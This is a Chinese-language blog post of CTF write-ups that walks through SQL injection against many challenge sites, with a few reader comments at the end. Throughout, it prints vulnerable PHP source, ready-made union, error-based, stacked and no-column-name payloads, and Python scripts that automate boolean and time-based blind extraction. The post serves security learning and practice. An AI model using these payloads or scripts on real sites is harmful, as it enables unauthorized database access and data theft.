sql注入简介
Sql注入即是指由于web应用程序对用户输入数据的合法性没有判断或过滤不严,导致攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息的一种攻击方式.
接下来结合一些题目来写几种sql注入的方式.
CG-CTF的几道sql注入题&XCTF高校战疫的sqlcheckin
这几题放在一起是觉得都属于利用注释或其他方式绕过,或使用万能密码(‘ or 1=1#)来获取flag,比较简单没什么难度.这里以sqlchekin为例详细写一下.
题目源码:
<?php // ... $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx'); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'"); $stmt->execute(); $result = $stmt->fetchAll(); if (count($result) > 0) { if ($result[0]['username'] == 'admin') { include('flag.php'); exit(); // ...
这题的username和password皆可控,为使得查询语句的查询结果为admin,我们要想办法绕过password的比较.官方的做法是构造弱类型运算来绕过,payload为:username=admin’and(1-&password=)-‘. 我自己是当时用的学长的‘-0-’,后面试了别的发现‘-’+‘-’,这些分割开的注释也可以.更多的新型万能密码payload见右:记一道CTF 中遇到的SQL注入新型万能密码问题
CTFHub整数型注入&字符型注入
CTFHub平台技能树里的题目,主要就是熟悉一下基础的sql注入流程,没有任何过滤. 整数型查询语句:select * from news where id = 1 字符型查询语句:select * from news where id =’1′,这两种的主要差别就是字符型在构造payload的时候需要加上单引号进行闭合,且在payload最后要加上注释的符号将原本查询语句中就有的单引号注释掉.(常用注释:#,–+,–等)
整数型payload:1.-1 union select 1,table_name from information_schema.tables where table_schema = database() limit 1,1
2.-1 union select 1,column_name from information_schema.columns where table_name = 'flag' limit 0,1
3.-1 union select 1,flag from flag
得到flag.
字符型差不多,多个单引号和注释:1.-1' union select 1,table_name from information_schema.tables where table_schema = database() limit 1,1#
2.-1' union select 1,column_name from information_schema.columns where table_name = 'flag' limit 0,1#
3.-1' union select 1,flag from flag#
CTFHub报错注入
报错注入中最常见的三种函数:updatexml,extractvalue,floor.
updatexml&extractvalue报错注入原理:sql报错注入:extractvalue、updatexml报错原理
floor:floor()报错注入
这题一开始我用的extractvalue,payload为:1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 1,1)))
但在爆flag的时候,flag只出来了一部分,这是因为updatexml和extractvalue报错只能显示32位,所以还要再用mid函数来进行字符截取从而显示32位以后的数据。
用floor的payload:1 union select count(*),concat((select flag from flag),0x7e,floor(rand(0)*2))x from information_schema.columns group by x;
CTFHub布尔盲注,Hgame week2 sql&时间盲注
布尔盲注,简单来说无论查什么回显都只有两种,正确的一种,错误的一种,只能去猜测库名,表名等,猜测正确则回显正确对应的回显,错误则回显错误对应的回显,通过回显内容来判断猜测的正误,手工注入会花费大量时间,所以通过脚本来进行攻击,而时间盲注则可能完全无回显,同样只能靠猜测,猜测正确,执行sleep语句,否则不执行,通过时间来判断猜测的正误.Hgame week2之前说过,这次用CTFHub的布尔盲注做例子.
本题在查询框输入数字则显示query_success,输入字母显示query_error,撰写脚本如下:
import requests url = 'http://ip:port/?id=' for i in range(0,3): flag = '' for j in range(1,50): for k in range(32,128): payload = url + "if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {},1),{},1))={},1,(select table_name from information_schema.tables))".format(i,j,k) r = requests.get(payload) if 'query_success' in r.text: flag += chr(k) break print(flag)
import requests url = 'http://ip:port/?id=' flag = '' for j in range(1,50): for k in range(32,128): payload = url + "if(ascii(substr((select flag from flag),{},1))={},1,(select table_name from information_schema.tables))".format(j,k) r = requests.get(payload) if 'query_success' in r.text: flag += chr(k) print(flag) break
时间盲注的脚本也类似:
import requests import datetime url = 'http://ip:port/?id=1 and ' flag = '' for i in range(1,60): for j in range(32,128): payload = url+"if(ascii(substr((select flag from flag),{},1))={},sleep(5),1)".format(i,j) time1 = datetime.datetime.now() requests.get(url=payload) time2 = datetime.datetime.now() intval = (time2-time1).seconds if intval >= 5: flag += chr(j) print(flag) break
时间盲注的脚本sleep时间我调的比较长,时间太短的话,可能会因为网络问题出错.
SWPU Web1
二次注入&无列名注入
首先注册进入广告平台.申请广告的广告名处存在注入.空格,报错注入函数,or,注释符号被过滤,回显需要在发送申请后点击广告详情查看.union select可用.首先查列数,由于or被过滤,所以不能用order by,但是可以用group by.payload:1'/**/group/**/by/**/22,'1
无回显,1'/**/group/**/by/**/23,'1
回显:Unknown column ’23’ in ‘group statement’ 由此可知一共有22列(这真的也太多了吧.)or被过滤,information_schema库不可用,用database()代表当前库名,使用sys.schema_auto_increment_columns查询表名.参考:聊一聊bypass information_schema
payload:-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
(buuoj的环境貌似没有sys库,比赛的时候是有的.)
查出表名后,还是无法得知列名,用无列名注入的技巧.
payload:-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
(比赛的时候给的是md5,需要到somd5解出来,buuoj直接给了flag.)
附上smi1e师傅的文章,里面的无列名注入部分很详细(当然其他的部分也很详细.)Sql注入笔记
强网杯-随便注&swpuweb4
堆叠注入&预处理
之前写blacklist的时候提到过.过滤:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
看到过滤了这么多,考虑是否为堆叠注入.payload:1';show tables;#
查出两个表(1919810931114514…这个表也太臭了XD),1919810931114514这个表中有flag字段,但是很显然,回显是words表回显的,我们无法直接获得flag字段的内容,所以我们就要通过堆叠注入的方式来对表进行改名.payload:1';RENAME TABLE `words` TO `w`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
之后再输入万能密码就能拿到flag了.
预处理的做法则要简洁得多了:1';set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;PREPARE leuk from @a;EXECUTE leuk;#
swpuweb4的sql注入部分:预处理+时间盲注,上脚本:
import requests import json import time def str_to_hex(s): return ''.join([hex(ord(c)).replace('0x', '') for c in s]) url = "http://0e8b4e56-e6a5-4f60-9b10-0d5af5508ff0.node3.buuoj.cn/index.php?r=Login/Login" payloads = "xxx';SET @a=0x{0};PREPARE leuk from @a;EXECUTE leuk;" flag = '' for i in range(1, 50): print(i) for j in range(0,128): payload = "select if(ascii(substr((select flag from flag),{},1))={},sleep(5),1)".format(i, j) datas = {'username':payloads.format(str_to_hex(payload)), 'password':'123'} data = json.dumps(datas) time1 = time.time() r = requests.post(url=url, data=data) time2 = time.time() if time2-time1 >= 5: flag += chr(j) print(flag) break
Blacklist
这题不再多说了,学到的东西就是mysql的handler.再把那篇文章的链接放一下:mysql查询语句-handler
BJDCTF 简单注入
先fuzz,ban了单双引号,等号,like,union和select这几个比较常用的关键词,所以常规注入行不通.
乱输了一通,回显相同.
查询语句:select * from users where username='$_POST["username"]' and password='$_POST["password"]'
用反斜杠来逃逸:
select * from users where username='admin\' and password='or 1#'
,此时回显发生变化:
regexp没有被ban,于是就用regexp布尔盲注.[转载]sql 盲注之正则表达式攻击
上脚本:
import requests url = 'http://0ca66815-ca7d-4329-a050-0db584800615.node3.buuoj.cn/index.php' def str_to_hex(string): res = '' for i in string: res += hex(ord(i)) return '0x' + res.replace('0x', '') alphabet = ['!', '[', ']', '{', '}', '_', '/', '-', '&', "%", '#', '@', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] flag = '^' for i in range(0, 20): for j in alphabet: payload = flag + j data = { 'username': 'admin\\', 'password': 'or password regexp binary {}#'.format(str_to_hex(payload)) } r = requests.post(url=url,data=data) if 'BJD needs' in r.text: flag = payload break print(flag.replace('^', ''))
得到密码后,登陆,得flag.
SUCTF2019 easy_sql
本题考点关于sql_mode参数.
先上源码(大佬们的wp里说是可以扫到的):
<?php session_start(); include_once "config.php"; $post = array(); $get = array(); global $MysqlLink; //GetPara(); $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); if(!$MysqlLink){ die("Mysql Connect Error!"); } $selectDB = mysqli_select_db($MysqlLink,$dataName); if(!$selectDB){ die("Choose Database Error!"); } foreach ($_POST as $k=>$v){ if(!empty($v)&&is_string($v)){ $post[$k] = trim(addslashes($v)); } } foreach ($_GET as $k=>$v){ } } //die(); ?> <html> <head> </head> <body> <a> Give me your flag, I will tell you if the flag is right. </ a> <form action="" method="post"> <input type="text" name="query"> <input type="submit"> </form> </body> </html> <?php if(isset($post['query'])){ $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\""; //var_dump(preg_match("/{$BlackList}/is",$post['query'])); if(preg_match("/{$BlackList}/is",$post['query'])){ //echo $post['query']; die("Nonono."); } if(strlen($post['query'])>40){ die("Too long."); } $sql = "select ".$post['query']."||flag from Flag"; mysqli_multi_query($MysqlLink,$sql); do{ if($res = mysqli_store_result($MysqlLink)){ while($row = mysqli_fetch_row($res)){ print_r($row); } } }while(@mysqli_next_result($MysqlLink)); } ?>
由于使用了mysqli_multi_query,所以可以用堆叠注入.查询语句为:$sql = "select ".$post['query']."||flag from Flag";
.这题的预期解考的是sql_mode参数:MySQL中sql_mode参数,文中提到了其中一个设置:PIPES_AS_CONCAT.这个设置意味着将”||”当成连接操作符而非”或”运算符.而本题的查询语句中包含有”||”,所以我们就可以通过修改sql_mode参数来完成本题.
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
非预期解的话则是:*,1
,拼接后语句就为:select *,1 || flag from Flag;
同样可得到flag.
极客大挑战2019 Finalsql
学到的点:异或注入,distinct.
wh1sper大哥早上发在群里的题,于是就来看看.(做之前顺便把这比赛的其他sql题也做了,挺有意思的.)
用户名和密码的过滤非常严格,滤了一大片,但是本题的页面多了几个按键,点进去会发现url后面多了个”?id=”,前几题并没有出现这个,那么这个id就大有蹊跷.试了一下,select,等号,逗号,注释,单引号啥的都没过滤,union,空格,and被过滤了.由于页面上写了大家好!我是练习时常两年半的,个人WEB程序员cl4y,我会php,PYTHON,mysql,SQL盲注
这样一句话,所以这题应该是盲注,测试了一下,正确错误回显不同,是布尔盲注,这样的话union被ban影响也就不大了.至于and和空格的话就比较麻烦了,/**/还有%0a之类的都绕不过空格,于是就使用了括号来绕,至于and,则用到了异或’^’,异或运算规则:1 ⊕ 1 = 0,0 ⊕ 0 = 0,1 ⊕ 0 = 1,0 ⊕ 1 = 1.了解了规则之后就开始构造payload,根据规则构造1^sql注入语句^1,如此构造的话,当中间的语句为真时,整个payload即为真,中间为假时,整个payload为假.
上脚本:
import requests url = 'http://8cfcf983-4db1-4ae1-aa97-7a0605302d5c.node3.buuoj.cn/search.php?id=' flag = '' for j in range(1,300): print(j) for k in range(32,128): payload = "1^(ascii(substr((select(group_concat(distinct(password)))from(F1naI1y)),{},1))={})^1".format(j,k) r = requests.get(url=url+payload) if 'NO!' in r.text: flag += chr(k) print(flag) break
distinct:SQL SELECT DISTINCT 语句
再上一个二分法的脚本,快很多:
import requests url = 'http://8cfcf983-4db1-4ae1-aa97-7a0605302d5c.node3.buuoj.cn/search.php?id=' flag = '' for i in range(1,300): print(i) low = 32 high =128 mid = (low+high)//2 while(low<high): payload = "1^(ascii(substr((select(group_concat(distinct(password)))from(F1naI1y)),{},1))>{})^1".format(i,mid) r = requests.get(url=url+payload) if "NO!" in r.text: low = mid+1 else: high = mid mid =(low+high)//2 if(mid ==32 or mid ==127): break flag +=chr(mid) print(flag)
Load data infile
Cookie注入&UA注入&Referer注入
注入点换了位置,payload还是一样的.
cookie注入:
Cookie: id=-1 union select 1,lknyevwhxi from jiugrgtzih;
UA注入:
User-Agent: -1 union select 1,mirsvkpods from rfboamqzbq;
Referer注入:
Referer: id=-1 union select 1,rdplkcepjh from smjgkcmwfm
DozerCtf sqlilab
题目给了提示url二次编码. 进入题目先测试一下,为字符型,需要用单引号闭合.然后是堆叠注入,按照常规做法查询库名、表名、列名,可以发现flag在uziuzi这个表里.最后用handler获得flag.最后一步两次url编码前的payload:1';handler uziuzi open;handler uziuzi read first;#
DASCTF7月赛 SQLi
题目把in,or,auto,stat都给ban了,之前swpu2019web1的时候贴的链接里的都不能用.要用sys.schema_tables_with_full_table_scans
.查表名时table_name
要改为object_name
,查出表名后无列名注入即可.
留给以后遇到的题目
更高级的sql注入等我刷题刷到再来更新.
3 Responses
i了i了,这就是web大佬吗!!
楼上说的没错,这就是web佬
我就是一菜狗